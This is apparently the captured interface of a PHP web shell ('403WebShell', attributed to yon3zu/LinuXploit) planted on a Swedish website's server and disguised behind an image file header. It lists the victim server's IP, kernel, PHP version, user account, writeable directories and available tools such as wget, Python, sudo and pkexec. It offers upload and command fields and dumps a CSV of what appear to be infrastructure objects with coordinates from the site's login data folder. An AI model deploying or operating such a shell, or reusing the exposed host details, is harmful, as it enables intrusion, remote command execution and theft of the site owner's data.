????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.114
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.supervision-online.se/login/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.supervision-online.se/login/data/41cc0e2b24c6692ab5b836e0d6d386fc.csv
ObjektId	Rubrik/Namn	Lat	Long	Beskrivning
15450145	554:13-3 F	6475529,008	185998,8555	
47841160	554:13-6 F	6475644,188	185962,5781	
45157908	544:45-8 F	6477140,023	186659,3828	
19233182	544:55-14 F	6476970,551	186689,7266	
19233183	544:55-15 F	6476969,418	186689,9961	
19233184	544:55-16 F	6476969,797	186688,9766	
47926166	544:65-7 F	6476817,617	186563,1992	
47926171	544:65-8 F	6476802,785	186484,5078	
47926176	544:65-9 F	6476799,715	186485,1016	
11610712	544:45-16 F	6477166	186775,9375	
18576209	544:55-10 F	6477024,695	186679,7656	
26675924	544:54-1 F	6477090,383	186426,1953	
18150930	544:55-9 F	6477127,516	186660,4531	
55827726	544:54-15 R	6477069,77	186363,8711	
48448638	544:54-9 F	6477083,465	186429,6289	
60998600	544:24-13 F	6477790,586	186284,6953	
47846317	544:34-9 F	6477466,625	186366,8125	
17119452	544:44-12 F	6477294,262	186394,6406	
18145434	544:34-13 F	6477452,813	186362,2656	
18145462	544:34-11 F	6477465,781	186371,5898	
64148527	544:35-16 F	6477477,164	186502,6172	
64148525	544:35-8  F	6477494,91	186585,543	
25026456	544:35-15 F	6477384,313	186721,3555	
18145962	544:35-11 F	6477490,402	186591,2383	
18149133	544:46-5 F	6477275,391	186873,4453	
68635600	544:71-7	6476412,73	185319,457	
68635572	544:71-5	6476490,566	185263,9453	
48063552	544:14-12 F	6478010,645	186191,2305	
48063556	544:14-13 F	6478006,41	186180,3672	
58181369	544:52-5 F	6477044,617	185608,3125	
58120883	544:33-7 F	6477431,523	185947,6211	
63708207	534:50-12 F	6479284,727	184818,2148	
62782340	534:81-7     F	6478710,094	185440,1055	
62782504	544:04-10    F	6478221,57	186395,3359	
62078980	544:14-15 F	6478043,723	186443,9297	
66562329	534:81-9 F	6478718,113	185430,5469	
66562297	534:71-5 F	6478948,605	185418,3672	
63708134	534:81-8 F	6478752,727	185349,8359	
18956150	544:15-8 F	6478064,883	186530,5313	
67786315	533:39-3 F	6479837,711	184633,7148	
67786307	533:39-2 F	6479836,504	184639,3867	
40670991	534:51-6 F	6479421,184	185367,1523	
40552968	534:30-5 F	6479755,102	185023,9414	
59134307	Ventil_saknar_littera	6479616,395	185358,7422	
15450147	554:13-4	6475529,047	185999,9492	
13991876	544:84-3	6476401,949	186489,0117	
14886114	544:75-5	6476640,289	186513,4102	
14799907	544:65-6	6476816,949	186564,9727	
11610789	544:55-11	6477022,293	186677,9375	
11610708	544:45-17	6477164,281	186776,3008	
11624572	 544:45-18	6477162,996	186778,4141	
26889017	Luftning_saknar_littera	6477090,195	186425,4727	
26889018	Luftning_saknar_littera	6477090,555	186426,8633	
45151252	544:45-29	6477153,141	186599,2852	
13991874	544:65-5	6476829,73	186586,6758	
42995991	544:54-16	6477121,113	186423,6172	
42995993	544:54-17	6476978,703	186442,8281	
47773277	544:54-18	6477074,105	186350,5039	
11611115	544:34-10	6477537,406	186356,9258	
40386617	544:44-14	6477248,156	186401,8164	
17976548	544:24-7	6477609,34	186343,1563	
17976549	544:24-11	6477656,559	186334,6641	
17976551	544:24-3	6477824,957	186390,8203	
17976553	544:24-4	6477798,836	186321,8164	
57712054	544:34-12	6477462,84	186363,8789	
11624566	544:35-16	6477492,926	186584,7148	
11610510	 544:35-13	6477485,234	186485,5859	
11610709	544:45-15	6477215,578	186765,6445	
11610610	544:35-17	6477383,504	186721,582	
11610606	544:45-13	6477334,781	186625,7578	
11610605	544:45-14	6477335,309	186631,7031	
11610516	544:35-12	6477464,668	186597,2578	
19342130	544:34-15	6477485,324	186444,9688	
11610509	544:35-10	6477492,207	186590,8008	
11610508	544:35-9	6477495,094	186586,2344	
11624569	544:35-14	6477382,215	186723,7578	
68910294	544:54-16	6477088,961	186166,668	
26553554	544:33-8	6477424,34	186006,5039	
60463913	534:60-3	6479107,387	185098,4609	
60463914	534:60-2	6479247,277	184894,8555	
17976520	544:15-4	6478074,047	186577,9023	
17976550	544:14-8	6478037,074	186443,7148	
41712967	544:03-2	6478179,664	186135,8789	
40553259	534:40-2	6479746,621	185059,4727	

Youez - 2016 - github.com/yon3zu
LinuXploit